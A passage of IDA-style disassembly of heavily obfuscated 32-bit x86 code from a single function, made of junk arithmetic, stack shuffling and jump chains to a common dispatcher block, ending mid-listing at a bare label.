loc_596E8E:				; CODE XREF: sub_58A891+1110Aj
		mov	dh, 74h
		add	bl, dh
		pop	dx
		sub	bl, 0F6h
		jmp	loc_599A8B
; ---------------------------------------------------------------------------


loc_596E9C:				; CODE XREF: sub_58A891+41A9j
		xor	ch, dl
		pop	edx
		add	bl, ch
		pop	ecx
		sub	bl, 62h
		add	bl, 0E5h
		jmp	loc_598C0F
; ---------------------------------------------------------------------------


loc_596EAD:				; CODE XREF: sub_58A891+C3D7j
		mov	bx, word ptr [esp+22h+var_24+2]
		add	esp, 2
		pop	ebx
		xor	bl, al
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 3FCh
		push	ebx
		mov	ebx, 54663A55h
		add	edi, 4A67264Eh
		add	edi, ebx
		push	esi
		mov	esi, 74AC2DD0h
		sub	esi, 2A450782h
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		jmp	loc_599E42
; ---------------------------------------------------------------------------


loc_596EF3:				; CODE XREF: sub_58A891+F6B6j
		push	ebx
		mov	ebx, 11A06F02h
		shr	ebx, 8
		jmp	loc_592858
; ---------------------------------------------------------------------------


loc_596F01:				; CODE XREF: sub_58A891+E72Fj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596F06:				; CODE XREF: sub_58A891+CF65j
		add	ecx, 4
		xor	ecx, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ecx
		xor	ecx, [esp+2Ah+var_2C+2]
		pop	esp
		push	3894h
		mov	[esp+2Ah+var_2C+2], edx
		push	6984h
		mov	[esp+2Eh+var_30+2], ebx
		jmp	loc_59504C
; ---------------------------------------------------------------------------


loc_596F2B:				; CODE XREF: sub_58A891+ECB1j
		mov	[esp+2Eh+var_30+2], ebp
		mov	ebp, ebx
		push	ebp
		jmp	loc_59AF8F
; ---------------------------------------------------------------------------


loc_596F36:				; CODE XREF: sub_58A891+8660j
		pop	eax
		push	edi
		mov	edi, 7B6A68DAh
		dec	edi
		shl	edi, 5
		shl	edi, 2
		shr	edi, 8
		xor	edi, 0B53468h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	eax, [esp+0]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], ebp
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebx
		jmp	loc_595813
; ---------------------------------------------------------------------------


loc_596F80:				; CODE XREF: sub_58A891+73E1j
					; sub_58A891+CE63j
		jle	loc_599A7B
		jmp	loc_59A08C
; ---------------------------------------------------------------------------


loc_596F8B:				; CODE XREF: sub_58A891:loc_590CBFj
		xor	bl, 19h
		jmp	loc_596359
; ---------------------------------------------------------------------------


loc_596F93:				; CODE XREF: sub_58A891+86CAj
		pop	esp
		jmp	loc_594834
; ---------------------------------------------------------------------------


loc_596F99:				; CODE XREF: sub_58A891+65E8j
		push	ebp
		mov	ebp, 1
		sub	edi, ebp
		pop	ebp
		add	edi, 0A8D88008h
		add	esi, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		mov	ax, word ptr [esp-8+arg_0]
		push	6310h
		mov	[esp+0], eax
		mov	eax, esp
		push	2F9Ch
		mov	[esp+0], esi
		push	156F780Bh
		jmp	loc_5939F6
; ---------------------------------------------------------------------------


loc_596FE8:				; CODE XREF: sub_58A891+CFEFj
		add	al, dh
		jmp	loc_599C70
; ---------------------------------------------------------------------------


loc_596FEF:				; CODE XREF: sub_58A891+FB10j
		xchg	ebp, [esp+4+var_4]
		jmp	loc_596651
; ---------------------------------------------------------------------------


loc_596FF7:				; CODE XREF: sub_58A891+61CBj
		push	ebx
		push	ecx
		push	0DD25C88h
		pop	ecx
		xor	ecx, 1F0A1D78h
		shl	ecx, 6
		shl	ecx, 8
		jns	loc_593BF0
		add	ecx, 2E357A63h
		mov	ebx, ecx
		pop	ecx
		mov	ch, 0C3h
		mov	al, cl


loc_59701E:				; CODE XREF: sub_58A891+6B5Ej
		neg	ebp
		jno	loc_596838
		xor	ebp, 0DEE48FDh
		shr	ebp, 2
		xor	dl, 61h
		pop	ecx


loc_597033:				; CODE XREF: sub_58A891+9464j
		mov	ch, 5Ah
		mov	ah, ch
		pop	ecx
		sub	ah, 0A0h
		ja	loc_595E9C
		add	ah, 3Ch
		mov	dh, ah
		pop	eax
		push	ecx
		push	edx
		mov	dl, 0D4h
		mov	ch, dl
		pop	edx
		jmp	loc_59A6AD
; ---------------------------------------------------------------------------


loc_597053:				; CODE XREF: sub_58A891+DDE5j
		mov	[esp+40h+var_40], eax
		jmp	loc_591A97
; ---------------------------------------------------------------------------


loc_59705B:				; CODE XREF: sub_58A891+7950j
		not	ecx
		jmp	loc_58E8B6
; ---------------------------------------------------------------------------


loc_597062:				; CODE XREF: sub_58A891+BEEFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		xor	ecx, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ecx
		jmp	loc_59174E
; ---------------------------------------------------------------------------


loc_597080:				; CODE XREF: sub_58A891+4CECj
		xor	[esp+40h+var_40], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597089:				; CODE XREF: sub_58A891+D613j
		sub	al, 89h
		sub	al, bl
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59AE81
; ---------------------------------------------------------------------------


loc_5970A1:				; CODE XREF: sub_58A891+88E6j
		or	ebx, 1A4B40BEh
		add	ebx, 25B30B19h
		dec	ebx
		jmp	loc_5932E2
; ---------------------------------------------------------------------------


loc_5970B3:				; CODE XREF: sub_58A891+4F1Fj
		jo	loc_5957CF
		sub	ah, 2Eh
		mov	cl, ah
		pop	eax
		and	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		push	esp
		push	[esp+18h+var_18]
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		add	esp, 4
		add	edi, 4
		push	eax
		jmp	loc_59322B
; ---------------------------------------------------------------------------


loc_5970E7:				; CODE XREF: sub_58A891+685Ej
		push	ebp
		jmp	loc_597B4D
; ---------------------------------------------------------------------------


loc_5970ED:				; CODE XREF: sub_58A891+54F3j
		push	eax
		jmp	loc_59BA24
; ---------------------------------------------------------------------------


loc_5970F3:				; CODE XREF: sub_58A891+6831j
		push	392749AFh
		pop	edi
		add	ebx, 368F0563h
		add	ebx, edi
		push	ebp
		jmp	loc_593E54
; ---------------------------------------------------------------------------


loc_597107:				; CODE XREF: sub_58A891+D2A3j
		sub	ecx, 2FA435A4h
		jmp	loc_594B94
; ---------------------------------------------------------------------------


loc_597112:				; CODE XREF: sub_58A891+BFF1j
		mov	[esp+1Ch+var_1C], esi
		mov	esi, esp
		jmp	loc_598A0A
; ---------------------------------------------------------------------------


loc_59711C:				; CODE XREF: sub_58A891+6D4Ej
					; sub_58A891+DE4Aj
		not	ebp
		xchg	ebp, ecx
		shr	ecx, 5
		js	loc_5923AE
		sub	esp, 4
		jmp	loc_5940D9
; ---------------------------------------------------------------------------


loc_597131:				; CODE XREF: sub_58A891+40A3j
		mov	si, bx
		pop	ebx
		sub	ax, 459h
		add	ax, si
		add	ax, 459h
		pop	si
		push	esi
		mov	si, 5D0h
		sub	si, 1
		jmp	loc_59171C
; ---------------------------------------------------------------------------


loc_597151:				; CODE XREF: sub_58A891+58AFj
		push	edx
		jmp	loc_597D8F
; ---------------------------------------------------------------------------
off_597157	dd offset dword_531B3C+52Ch ; DATA XREF: sub_58A891+3B53o
		align 4
		jmp	loc_5943C6
; ---------------------------------------------------------------------------


loc_597161:				; CODE XREF: sub_58A891+F9C0j
		sub	bl, 13h
		sub	bl, 41h
		push	7A9Dh
		mov	[esp+10h+var_10], edx
		mov	dh, bl
		mov	al, dh
		push	[esp+10h+var_10]
		pop	edx
		add	esp, 4
		pop	ebx
		sub	bl, al
		mov	eax, [esp+8+var_8]
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	esi
		push	esp
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 127F7A0Fh
		sub	ebp, 53EC153Bh
		push	ebx
		mov	ebx, 6C1530Ah
		jmp	loc_592826
; ---------------------------------------------------------------------------


loc_5971BD:				; CODE XREF: sub_58A891+7FC2j
		sub	edx, 0CD00B853h
		add	esi, edx
		pop	edx
		shl	esi, 5
		jmp	loc_597ACE
; ---------------------------------------------------------------------------


loc_5971CE:				; CODE XREF: sub_58A891+8287j
		mov	dl, 73h
		or	dl, 49h
		add	dl, 1Eh
		push	eax
		mov	al, 0C0h
		jmp	loc_596953
; ---------------------------------------------------------------------------


loc_5971DE:				; CODE XREF: sub_58A891+A85Dj
		mov	[esp+0Ch+var_C], ebx
		pop	eax
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59616F
; ---------------------------------------------------------------------------


loc_5971F0:				; CODE XREF: sub_58A891+8D99j
		xor	ah, 0BEh
		dec	ah
		jg	loc_598DDE
		and	ah, 0E1h
		jp	loc_58E75C
		shr	ah, 1
		jmp	loc_59281A
; ---------------------------------------------------------------------------
		mov	cl, bl
		jmp	loc_596BF6
; ---------------------------------------------------------------------------


loc_597212:				; CODE XREF: sub_58A891+E69Bj
		push	ebx
		jmp	loc_590E10
; ---------------------------------------------------------------------------


loc_597218:				; CODE XREF: sub_58A891+4E1Bj
		add	ecx, 4532009Fh
		pop	edi
		add	ebx, 28F75651h
		add	ebx, ecx
		sub	ebx, 28F75651h
		jmp	loc_58EEEC
; ---------------------------------------------------------------------------


loc_597232:				; CODE XREF: sub_58A891+9E4Fj
		pop	edx
		sub	al, bh
		pop	ebx
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+40h+var_40]
		push	ebp
		push	esp
		mov	ebp, [esp+48h+var_4A+2]
		add	esp, 4
		add	ebp, 4
		push	esi
		push	edi
		push	2
		jmp	loc_59AD31
; ---------------------------------------------------------------------------


loc_597259:				; CODE XREF: sub_58A891+ABDEj
		sub	ebp, 4
		push	ebp
		push	[esp+12h+var_10+2]
		jmp	loc_59597C
; ---------------------------------------------------------------------------


loc_597266:				; CODE XREF: sub_58A891+7CB7j
		xchg	ebp, [esp+1Ch+var_1C]
		jmp	loc_599493
; ---------------------------------------------------------------------------


loc_59726E:				; CODE XREF: sub_58A891+930Bj
					; sub_58A891+EB1Cj
		push	esi
		mov	esi, 2
		jmp	loc_59AD7E
; ---------------------------------------------------------------------------


loc_597279:				; CODE XREF: sub_58A891+CFDAj
		xor	edx, 76F65DD9h
		jp	loc_590987
		inc	edx
		push	edx
		not	[esp+18h+var_18]
		pop	edx
		mov	ebp, ebx
		mov	ah, cl


loc_59728F:				; CODE XREF: sub_58A891+6AC8j
		sub	ch, 0D8h
		pop	edx
		add	al, ch
		pop	ecx
		jmp	loc_59A569
; ---------------------------------------------------------------------------


loc_59729B:				; CODE XREF: sub_58A891:loc_597F80j
		not	esi
		sub	esi, 0E41BAACDh
		mov	eax, esi
		pop	esi
		jmp	loc_599CA7
; ---------------------------------------------------------------------------


loc_5972AB:				; CODE XREF: sub_58A891+1059Fj
		push	edi
		jmp	loc_58EA47
; ---------------------------------------------------------------------------


loc_5972B1:				; CODE XREF: sub_58A891:loc_5910E9j
		jmp	loc_590321
; ---------------------------------------------------------------------------


loc_5972B6:				; CODE XREF: sub_58A891+48B3j
		mov	[esp+28h+var_28], ebp
		push	ecx
		mov	ecx, 723F5C56h
		shl	ecx, 8
		js	loc_58E83A
		jmp	loc_590094
; ---------------------------------------------------------------------------


loc_5972CD:				; CODE XREF: sub_58A891+82DDj
		push	edi
		mov	edi, 44C6729Ah
		inc	edi
		xor	edi, 0BCD73E3h
		or	edi, 69502919h
		jmp	loc_59A6C7
; ---------------------------------------------------------------------------


loc_5972E5:				; CODE XREF: sub_58A891+5907j
		push	ecx
		mov	ecx, esp
		jmp	loc_599D2D
; ---------------------------------------------------------------------------


loc_5972ED:				; CODE XREF: sub_58A891+6ED6j
		pop	edi
		jmp	loc_595C7B
; ---------------------------------------------------------------------------


loc_5972F3:				; CODE XREF: sub_58A891+D575j
		pop	eax
		jmp	loc_592A9F
; ---------------------------------------------------------------------------


loc_5972F9:				; CODE XREF: sub_58A891+E1EFj
		push	4789h
		mov	[esp+4+var_4], ebp
		push	5151h
		jmp	loc_59A551
; ---------------------------------------------------------------------------


loc_59730B:				; CODE XREF: sub_58A891:loc_599726j
		xor	ebx, 691F7079h
		push	edx
		mov	edx, ebx
		mov	edi, edx
		jmp	loc_59918D
; ---------------------------------------------------------------------------


loc_59731B:				; CODE XREF: sub_58A891+76D9j
		push	5017011Dh
		pop	edi
		shr	edi, 5
		not	edi
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	edi, 10F3D16Ah
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		pop	edi
		mov	ecx, 5932B12h
		jmp	loc_5993FE
; ---------------------------------------------------------------------------


loc_597343:				; CODE XREF: sub_58A891+E25Dj
		sub	dl, 0F6h
		push	eax
		push	ecx
		jmp	loc_599E66
; ---------------------------------------------------------------------------


loc_59734D:				; CODE XREF: sub_58A891+BA6Fj
		pop	ebx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597353:				; CODE XREF: sub_58A891+66DDj
		add	[esp+10h+var_10], 4
		pop	[esp+10h+var_10]
		jmp	loc_592236
; ---------------------------------------------------------------------------


loc_59735F:				; CODE XREF: sub_58A891+464Aj
		sub	bl, 5Fh
		shl	bl, 5
		not	bl
		jmp	loc_59B7CC
; ---------------------------------------------------------------------------


loc_59736C:				; DATA XREF: sub_58A891+3C1Fo
		push	ecx
		sub	esp, 4
		jmp	loc_59B4FD
; ---------------------------------------------------------------------------


loc_597375:				; CODE XREF: sub_58A891+D5B1j
		push	edi
		mov	edi, 41DE251Bh
		sub	edx, edi
		jmp	loc_591263
; ---------------------------------------------------------------------------


loc_597382:				; CODE XREF: sub_58A891+6610j
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	edi
		mov	edi, 548712BCh
		mov	ebx, 0AB78ED48h
		add	ebx, edi
		jmp	loc_594A49
; ---------------------------------------------------------------------------


loc_59739A:				; CODE XREF: sub_58A891+11247j
		sub	ebx, 42522B60h
		jmp	loc_59600D
; ---------------------------------------------------------------------------


loc_5973A5:				; CODE XREF: sub_58A891+FCF6j
		pop	eax
		jmp	loc_59330B
; ---------------------------------------------------------------------------


loc_5973AB:				; CODE XREF: sub_58A891+5CF4j
					; sub_58A891+6DD0j
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		add	edx, 2
		push	5640h
		mov	[esp+40h+var_40], edx
		push	[esp+40h+var_3C]
		pop	edx
		pop	[esp+40h+var_40]
		mov	esp, [esp+3Ch+var_3C]
		idiv	cl
		movzx	cx, ah
		push	small 0E69h
		mov	word ptr [esp+3Eh+var_40+2], cx
		movzx	cx, al
		jmp	loc_58F15E
; ---------------------------------------------------------------------------


loc_5973DE:				; CODE XREF: sub_58A891+45ABj
		mov	[esp-8+arg_0], edx
		push	ecx
		mov	ch, 0EFh
		add	ch, 0A3h
		jz	loc_599B7F
		dec	ch
		jge	loc_593F37
		shr	ch, 3
		jns	loc_599DA6
		jmp	loc_593C05
; ---------------------------------------------------------------------------
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]


loc_59740C:				; CODE XREF: sub_58A891+AC8Dj
		push	eax
		mov	eax, 2D7E0820h
		jmp	loc_599180
; ---------------------------------------------------------------------------


loc_597417:				; CODE XREF: sub_58A891+868Ej
		add	esp, 4
		mov	edi, [esp+40h+var_40]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_597456
; ---------------------------------------------------------------------------


loc_59742F:				; CODE XREF: sub_58A891+F501j
		shr	ebx, 8
		jnz	loc_598670
		sub	esp, 4
		jmp	loc_59A569
; ---------------------------------------------------------------------------
		mov	esi, ecx


loc_597445:				; DATA XREF: sub_58A891+3A77o
		mov	ax, word ptr [esp+48h+var_4A+2]
		jmp	loc_591C77
; ---------------------------------------------------------------------------


loc_59744E:				; CODE XREF: sub_58A891+6B9Ej
		sub	eax, edi
		pop	edi
		jmp	loc_592E25
; ---------------------------------------------------------------------------


loc_597456:				; CODE XREF: sub_58A891+CB99j
		push	eax
		mov	eax, 55B31112h
		mov	ebp, eax
		pop	eax
		dec	ebp
		not	ebp
		push	3F7Fh
		mov	[esp+48h+var_4A+2], edi
		mov	edi, 653A45F7h
		sub	edi, 31D2A09h
		jmp	loc_59847E
; ---------------------------------------------------------------------------


loc_59747A:				; CODE XREF: sub_58A891+EFD0j
		push	ebp
		mov	ebp, 0B46726Fh
		jmp	loc_59A024
; ---------------------------------------------------------------------------


loc_597485:				; CODE XREF: sub_58A891+ADCBj
		add	edx, 9F63D6h
		pop	ebp
		add	edx, 0C8A390C2h
		sub	esi, edx
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_590F1E
; ---------------------------------------------------------------------------


loc_59749F:				; CODE XREF: sub_58A891+80EEj
		mov	edx, [esp+0]
		jmp	loc_592C8C
; ---------------------------------------------------------------------------


loc_5974A7:				; CODE XREF: sub_58A891+E8EAj
		mov	eax, [esp+0]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 4
		push	edi
		pop	ebp
		pop	edi
		add	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+3Eh+var_40+2]
		jmp	loc_5977B3
; ---------------------------------------------------------------------------


loc_5974D0:				; CODE XREF: sub_58A891+EB16j
					; sub_58A891+F50Aj
		jmp	loc_597F2E
; ---------------------------------------------------------------------------


loc_5974D5:				; CODE XREF: sub_58A891+9AD1j
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5974E0:				; CODE XREF: sub_58A891+70E1j
		add	eax, 494620F7h
		pop	ebx
		jmp	loc_592D2E
; ---------------------------------------------------------------------------


loc_5974EB:				; CODE XREF: sub_58A891+5DF0j
		pop	esp
		jmp	loc_59AF60
; ---------------------------------------------------------------------------


loc_5974F1:				; CODE XREF: sub_58A891+822Fj
					; sub_58A891+B0B3j
		add	esi, ecx
		sub	esi, 7F180075h
		jmp	loc_594E1B
; ---------------------------------------------------------------------------


loc_5974FE:				; CODE XREF: sub_58A891+9085j
		add	esi, 3C01BDh
		mov	edi, esi
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edx
		jmp	loc_59990C
; ---------------------------------------------------------------------------


loc_597518:				; DATA XREF: sub_58A891+3C17o
		push	dword ptr [edi+40h]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597520:				; CODE XREF: sub_58A891+90D3j
		mov	ch, 95h
		or	ah, ch
		pop	cx
		jmp	loc_591324
; ---------------------------------------------------------------------------


loc_59752B:				; CODE XREF: sub_58A891+A528j
		add	bl, 40h
		jbe	loc_59B97F
		push	6895h
		jmp	loc_596213
; ---------------------------------------------------------------------------


loc_59753E:				; CODE XREF: sub_58A891+BE07j
		add	esi, 72BF75D7h
		jmp	loc_5965B0
; ---------------------------------------------------------------------------


loc_597549:				; CODE XREF: sub_58A891+10D74j
		push	ebx
		mov	edx, [esp+54h+var_54]
		add	esp, 4
		push	edx
		pop	edi
		push	dword ptr [esp+0]
		pop	edx
		push	ebp
		jmp	loc_594792
; ---------------------------------------------------------------------------


loc_59755C:				; CODE XREF: sub_58A891+9104j
					; sub_58A891+FDF1j
		sub	eax, 2F9C4FBAh
		mov	ebp, [esp-8+arg_0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		add	ebx, 4D225B99h
		sub	ebx, 536F03E3h
		add	ebx, eax
		push	edi
		push	77A2h
		mov	[esp+0], ebp
		mov	ebp, 536F03E3h
		mov	edi, ebp
		pop	ebp
		push	edi
		mov	edi, 28D90323h
		sub	edi, 5C485FC4h
		xor	edi, 0CA2481B5h
		add	ebx, edi
		pop	edi
		add	ebx, 658D6D54h
		jmp	loc_596335
; ---------------------------------------------------------------------------


loc_5975B6:				; CODE XREF: sub_58A891+10C44j
		xchg	edx, [esp+0]
		pop	esp


loc_5975BA:				; CODE XREF: sub_58A891+7042j
					; sub_58A891+8B95j
		sub	esp, 4
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_595218
; ---------------------------------------------------------------------------


loc_5975D6:				; CODE XREF: sub_58A891+ECE9j
		or	[esp+0], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5975DF:				; CODE XREF: sub_58A891+4B58j
		mov	dh, 3Fh
		and	dh, 0E2h
		inc	dh
		sub	dh, 0A2h
		neg	dh
		add	dh, 0ECh
		jmp	loc_596222
; ---------------------------------------------------------------------------


loc_5975F3:				; CODE XREF: sub_58A891+A3D6j
					; sub_58A891+AB84j
		push	7173h
		mov	[esp+14h+var_14], esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	ecx
		push	[esp+14h+var_10]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_590DBD
; ---------------------------------------------------------------------------


loc_597613:				; CODE XREF: sub_58A891+107C9j
		pop	esp
		jmp	loc_59626E
; ---------------------------------------------------------------------------


loc_597619:				; CODE XREF: sub_58A891+C4B5j
		sub	al, 41h
		add	al, 94h
		pop	ecx
		xor	bl, al
		push	7BC2h
		mov	[esp+16h+var_18+2], ebx
		push	ecx
		mov	cl, al
		mov	bl, cl
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	eax
		mov	eax, 38h
		add	eax, edi
		sub	esp, 4
		jmp	loc_595E41
; ---------------------------------------------------------------------------


loc_597643:				; CODE XREF: sub_58A891+D826j
		xchg	eax, ebx
		xor	ebx, 0F0599F59h
		mov	esi, ebx
		pop	ebx
		jmp	loc_593A50
; ---------------------------------------------------------------------------


loc_597652:				; DATA XREF: sub_58A891+39F3o
		push	[esp+8+var_8]
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp+10h+var_10]
		jmp	loc_59426E
; ---------------------------------------------------------------------------


loc_597660:				; CODE XREF: sub_58A891+DC40j
		push	edi
		push	ebx
		jmp	loc_594D8B
; ---------------------------------------------------------------------------


loc_597667:				; CODE XREF: sub_58A891+B601j
		sub	edx, 11584000h
		and	eax, edx
		pop	edx
		shr	eax, 0Bh
		xor	ecx, eax
		push	65h
		mov	[esp+10h+var_10], ebx
		mov	ebx, esp
		push	33DBh
		mov	[esp+14h+var_14], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		sub	ebx, 4
		push	23FDh
		mov	[esp+14h+var_14], ebx
		jmp	loc_5913B7
; ---------------------------------------------------------------------------


loc_5976A7:				; CODE XREF: sub_58A891+BF64j
		add	ecx, 3D876904h
		jmp	loc_590ED9
; ---------------------------------------------------------------------------


loc_5976B2:				; CODE XREF: sub_58A891+DACAj
		add	ebp, 4
		jmp	loc_592D38
; ---------------------------------------------------------------------------


loc_5976BA:				; CODE XREF: sub_58A891+8F40j
		mov	edx, 4
		push	esi
		mov	esi, 1D3505D3h
		add	edi, esi
		pop	esi
		sub	edi, 1D96AA1h
		add	edi, edx
		jmp	loc_59824B
; ---------------------------------------------------------------------------


loc_5976D5:				; CODE XREF: sub_58A891+9439j
		shl	eax, 1
		inc	eax
		inc	eax
		jmp	loc_597AAB
; ---------------------------------------------------------------------------


loc_5976DE:				; CODE XREF: sub_58A891+A050j
		pop	ebx
		push	cx
		push	bx
		mov	bl, 1Ah
		push	edx
		mov	dl, bl
		mov	cl, dl
		pop	edx
		pop	bx
		not	cl
		not	cl
		and	cl, 0Fh
		jmp	loc_596F80
; ---------------------------------------------------------------------------


loc_5976F9:				; CODE XREF: sub_58A891+E9C5j
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_599F69
; ---------------------------------------------------------------------------


loc_597702:				; CODE XREF: sub_58A891+FFF6j
		mov	edi, 23841210h
		sub	edi, 2384120Ch
		push	ebp
		push	edi
		jmp	loc_58FA92
; ---------------------------------------------------------------------------


loc_597714:				; CODE XREF: sub_58A891+F5D0j
		mov	edi, ebp
		jmp	loc_58EA3F
; ---------------------------------------------------------------------------


loc_59771B:				; CODE XREF: sub_58A891+100C0j
		add	esp, 4
		push	ecx
		jmp	loc_5900B8
; ---------------------------------------------------------------------------


loc_597727:				; CODE XREF: sub_58A891+E78Cj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5953F4
; ---------------------------------------------------------------------------


loc_59773E:				; CODE XREF: sub_58A891+58FEj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59404F
; ---------------------------------------------------------------------------


loc_59774D:				; CODE XREF: sub_58A891+B772j
					; sub_58A891+FE82j
		add	esi, 0B9F3EABh
		dec	esi
		xor	esi, 2B69C08h
		jmp	loc_595BFD
; ---------------------------------------------------------------------------


loc_59775F:				; CODE XREF: sub_58A891+837Fj
		mov	esi, 483D0EBAh
		inc	esi
		jmp	loc_594A75
; ---------------------------------------------------------------------------


loc_59776A:				; CODE XREF: sub_58A891+5AEAj
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		jmp	loc_598C60
; ---------------------------------------------------------------------------


loc_597777:				; CODE XREF: sub_58A891+FF43j
		pop	ecx
		add	eax, 35A66EBAh
		xor	ebx, eax
		pop	eax
		and	eax, ebx
		pop	ebx
		jmp	loc_5994D7
; ---------------------------------------------------------------------------


loc_597788:				; CODE XREF: sub_58A891+10C7Ej
		push	[esp+44h+var_46+2]
		mov	ecx, [esp+48h+var_4A+2]
		add	esp, 4
		push	edi
		jmp	loc_58E6EA
; ---------------------------------------------------------------------------


loc_597797:				; CODE XREF: sub_58A891+BFD9j
		add	eax, edi
		pop	edi
		jmp	loc_59398E
; ---------------------------------------------------------------------------


loc_59779F:				; CODE XREF: sub_58A891+3EC6j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_5903C9
; ---------------------------------------------------------------------------


loc_5977B3:				; CODE XREF: sub_58A891+CC3Aj
		mov	esp, [esp+3Eh+var_40+2]
		test	ecx, eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5977BE:				; CODE XREF: sub_58A891+F5DAj
		jle	loc_590774
		shr	ch, 6
		push	dx
		mov	dl, 0B1h
		add	ch, dl
		pop	dx
		mov	ah, ch
		pop	ecx
		and	ah, 16h
		or	ah, 2
		xor	ah, 0EDh
		sub	dl, ah
		pop	eax
		add	dl, 0A7h
		xor	al, dl
		mov	edx, [esp+3Ah+var_3C+2]
		push	5561h
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_596F06
; ---------------------------------------------------------------------------


loc_5977FB:				; DATA XREF: sub_58A891+39BBo
		push	dword ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597802:				; CODE XREF: sub_58A891+5C6Fj
		add	eax, 45BE445Fh
		sub	edx, eax
		pop	eax
		mov	ebx, edx
		jmp	loc_591099
; ---------------------------------------------------------------------------


loc_597811:				; CODE XREF: sub_58A891+7D2Ej
		mov	eax, esp
		push	ebp
		jmp	loc_59288B
; ---------------------------------------------------------------------------


loc_597819:				; CODE XREF: sub_58A891+EC2Fj
		sub	eax, 0C3896372h
		sub	ebx, eax
		pop	eax
		jmp	loc_590CF2
; ---------------------------------------------------------------------------


loc_597826:				; CODE XREF: sub_58A891+BDDEj
		push	edi
		mov	edi, 39EB024Dh
		add	[esp+44h+var_3C], edi
		pop	edi
		add	[esp+40h+var_3C], 0A1D39BEh
		sub	[esp+40h+var_3C], 40942D48h
		jmp	loc_596ABA
; ---------------------------------------------------------------------------


loc_597846:				; CODE XREF: sub_58A891+4D38j
					; sub_58A891+FE09j
		shr	ebp, 6
		js	loc_5990D0
		shr	ebp, 4
		jz	loc_59AC59
		and	ebp, 3C7B69E5h
		sub	ebp, 91F63598h
		push	esi
		push	edx
		mov	edx, 27E8005Eh
		jmp	loc_597279
; ---------------------------------------------------------------------------


loc_597870:				; CODE XREF: sub_58A891+8007j
		mov	ebp, esi
		jmp	loc_5994F3
; ---------------------------------------------------------------------------


loc_597877:				; CODE XREF: sub_58A891+9E1Bj
		sub	dh, 64h
		shr	dh, 2
		xor	dh, 0B4h
		jmp	loc_596FE8
; ---------------------------------------------------------------------------


loc_597885:				; CODE XREF: sub_58A891+A2A7j
		push	ebx
		mov	ebx, 2
		jmp	loc_59A1CB
; ---------------------------------------------------------------------------


loc_597890:				; CODE XREF: sub_58A891+D332j
		pop	esi


loc_597891:				; CODE XREF: sub_58A891+6145j
		push	esi
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 354D2190h
		jmp	loc_59541A
; ---------------------------------------------------------------------------


loc_5978A2:				; CODE XREF: sub_58A891+821Cj
